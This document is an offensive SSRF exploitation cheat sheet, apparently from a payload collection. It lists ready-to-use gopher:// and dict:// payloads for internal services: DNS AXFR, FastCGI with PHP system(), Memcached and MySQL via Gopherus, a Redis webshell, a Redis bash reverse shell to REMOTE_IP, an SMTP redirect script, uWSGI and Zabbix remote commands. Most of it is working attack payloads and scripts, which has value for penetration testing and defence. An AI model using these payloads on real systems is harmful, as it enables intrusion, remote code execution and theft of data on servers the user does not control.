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SSRF Advanced Exploitation

contents
ssrf-advanced-exploitation.md

Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.

Summary#

DNS AXFR#

Query an internal DNS resolver to trigger a full zone transfer (AXFR) and exfiltrate a list of subdomains.

from urllib.parse import quotedomain,tld = "example.lab".split('.')dns_request =  b"\x01\x03\x03\x07"    # BITMAPdns_request += b"\x00\x01"            # QCOUNTdns_request += b"\x00\x00"            # ANCOUNTdns_request += b"\x00\x00"            # NSCOUNTdns_request += b"\x00\x00"            # ARCOUNTdns_request += len(domain).to_bytes() # LEN DOMAINdns_request += domain.encode()        # DOMAINdns_request += len(tld).to_bytes()    # LEN TLDdns_request += tld.encode()           # TLDdns_request += b"\x00"                # DNAME EOFdns_request += b"\x00\xFC"            # QTYPE AXFR (252)dns_request += b"\x00\x01"            # QCLASS IN (1)dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_requestprint(f'gopher://127.0.0.1:25/_{quote(dns_request)}')

Example of payload for example.lab: gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01

curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd

FastCGI#

Requires to know the full path of one PHP file on the server, by default the exploit is using /usr/share/php/PEAR.php.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00

Memcached#

Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.

python2.7 ./gopherus.py --exploit pymemcachepython2.7 ./gopherus.py --exploit rbmemcachepython2.7 ./gopherus.py --exploit phpmemcachepython2.7 ./gopherus.py --exploit dmpmemcache

MySQL#

MySQL user should not be password protected.

$ python2.7 ./gopherus.py --exploit mysqlGive MySQL username: rootGive query to execute: SELECT 123;gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01

Redis#

Redis is a database system that stores everything in RAM

The attacker changes Redis’s dump directory to the web server’s document root (/var/www/html) and renames the dump file to file.php, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (mykey) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the SAVE command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at /var/www/html/file.php.

CONFIG SET dir /var/www/htmlCONFIG SET dbfilename file.phpSET mykey "<?php system($_GET[0])?>"SAVE

  • Getting a webshell with dict://

    dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/htmldict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.phpdict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"dict://127.0.0.1:6379/SAVE

  • Getting a PHP reverse shell with gopher://

    gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtmlgopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.phpgopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22gopher://127.0.0.1:6379/_save

SMTP#

Malicious actors can craft gopher:// URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

The following PHP script can be used to generate a page that will redirect to the gopher:// payload.

<?php    $commands = array(            'HELO victim.com',            'MAIL FROM: <admin@victim.com>',            'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',            'DATA',            'Subject: @hacker!',            'Hello Friend',            '.'    );    $payload = implode('%0A', $commands);    header('Location: gopher://0:25/_'.$payload);?>

WSGI#

Exploit using the Gopher protocol, full exploit script available at wofeiwo/webcgi-exploits/uwsgi_exp.py.

gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
Header
modifier1(1 byte)0 (%00)
datasize(2 bytes)26 (%1A%00)
modifier2(1 byte)0 (%00)
Variable (UWSGI_FILE)
key length(2 bytes)10(%0A%00)
key data(m bytes)UWSGI_FILE
value length(2 bytes)12(%0C%00)
value data(n bytes)/tmp/test.py

Zabbix#

If EnableRemoteCommands=1 is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.

gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D

References#